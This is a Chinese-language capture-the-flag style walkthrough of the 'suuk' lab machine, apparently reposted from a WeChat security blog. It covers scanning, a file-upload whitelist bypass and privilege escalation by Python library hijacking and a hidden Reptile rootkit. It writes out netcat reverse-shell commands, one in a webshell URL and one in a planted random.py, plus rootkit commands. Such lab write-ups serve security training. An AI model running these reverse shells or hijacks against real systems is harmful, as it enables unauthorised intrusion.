【OSCP】suuk

admin 2024年4月8日11:42:07评论9 views字数 3144阅读10分28秒阅读模式
【OSCP】suuk

OSCP 靶场

【OSCP】suuk

靶场介绍

suuk

medim

文件白名单绕过、反弹shell、$paht环境变量更改、python 库劫持提权、Reptile提权、sandfly-processdecloak使用

信息收集

主机发现

nmap -sn 192.168.1.0/24

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -A -p- -T4 192.168.1.221
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-04 04:08 EST
Nmap scan report for 192.168.1.221
Host is up (0.00053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 44:01:b7:44:54:9a:92:19:58:9e:e7:20:95:ea:7c:a8 (RSA)
| 256 30:f8:78:e1:9d:03:b2:47:da:90:f9:3a:6c:ea:49:43 (ECDSA)
|_ 256 69:1f:2d:3d:88:c2:d1:51:51:45:49:23:b1:a8:99:10 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Formulaire d'upload de fichiers
MAC Address: 08:00:27:51:62:3B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.53 ms 192.168.1.221

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds

目录扫描

gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.221 -x php,txt,html -e

【OSCP】suuk

权限获取

这里上传后缀做了白名单限制,只允许图片格式

【OSCP】suuk

【OSCP】suuk

【OSCP】suuk

使用sss.php.jpg的方式绕过文件上传,原因可能是因为后端只取点后的第一个后缀进行解析。

【OSCP】suuk

【OSCP】suuk

【OSCP】suuk

http://192.168.1.221/upload/1.php.png?cmd=nc%20192.168.1.158%2023332%20-e%20/bin/bash

【OSCP】suuk

权限提升

这还有其他两个普通用户,必然是要先提权到这个两个用户的。

【OSCP】suuk

tignasse 账号下有个.pass.txt 文件,但是经过测试并没有用

【OSCP】suuk

【OSCP】suuk

尝试常规的sudosuid内核任务计划进程分析手段、爆破了一段时间之后,也没结果。实在不想浪费时间了,看了别人的writeup,才知道。这里密码另有隐情!

【OSCP】suuk

【OSCP】suuk

登录成功,获取tignasse 用户权限。

【OSCP】suuk

tignasse 用户下,可以看到mister_b 用户有个特权脚本

【OSCP】suuk

tignasse@kuus:~$ cat /opt/games/game.py 
import random
import os
import re
os.system('cls' if os.name=='nt' else 'clear')
while (1 < 2):
print "n"
print "Rock, Paper, Scissors - Shoot!"
userChoice = raw_input("Choose your weapon [R]ock], [P]aper, or [S]cissors: ")
if not re.match("[SsRrPp]", userChoice):
print "Please choose a letter:"
print "[R]ock, [S]cissors or [P]aper."
continue
# Echo the user's choice
print "You chose: " + userChoice
choices = ['R', 'P', 'S']
opponenetChoice = random.choice(choices)
print "I chose: " + opponenetChoice
if opponenetChoice == str.upper(userChoice):
print "Tie! "
#if opponenetChoice == str("R") and str.upper(userChoice) == "P"
elif opponenetChoice == 'R' and userChoice.upper() == 'S':
print "Scissors beats rock, I win! "
continue
elif opponenetChoice == 'S' and userChoice.upper() == 'P':
print "Scissors beats paper! I win! "
continue
elif opponenetChoice == 'P' and userChoice.upper() == 'R':
print "Paper beat rock, I win! "
continue
else:
print "You win!"

game.py文件由用户mister_b所有,它导入3 个库。可以看到导入的库使用了可能被滥用的相对路径。

1、我们在/opt/games内创建一个名为random.py的文件,其中包含以下内容:

import os 
os.system("nc 192.168.1.158 2334 -e /bin/bash")

2.、将/opt/games添加到PATH:

通过 python 库劫持进行的权限升级,因为 python 会搜索它导入的库,这些库通常是 PATH 中第一个的库,这就是我们在PATH之前添加/opt/games的原因。

3、最后我们使用nc 监听 2334端口,然后使用sudo 执行该脚本后,成功获取mister_b权限

【OSCP】suuk

历史记录发现执行了一个二进制文件

【OSCP】suuk

sandfly-processdecloak是一个实用程序,用于快速扫描被常见和不常见的可加载内核模块隐形 Rootkit 隐藏的 Linux 进程 ID (PID),并将其隐藏起来,使它们可见。比如:Diamorphine, Reptile and variants

【OSCP】suuk

编译了一个上传上去执行并没有看到隐藏进程,后面找了一下reptile项目,发现reptile 文件夹也是隐藏的。

https://github.com/f0rb1dd3n/Reptile/wiki/Local-Usage

【OSCP】suuk

【OSCP】suuk

尝试执行如下命令,发现直接提取到root,www-data 权限也是可以直接提取到root

/reptile/reptile_cmd root

【OSCP】suuk

【OSCP】suuk

End

“点赞、在看与分享都是莫大的支持”

【OSCP】suuk

【OSCP】suuk

原文始发于微信公众号(贝雷帽SEC):【OSCP】suuk

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月8日11:42:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【OSCP】suukhttp://cn-sec.com/archives/2635791.html

发表评论

匿名网友 填写信息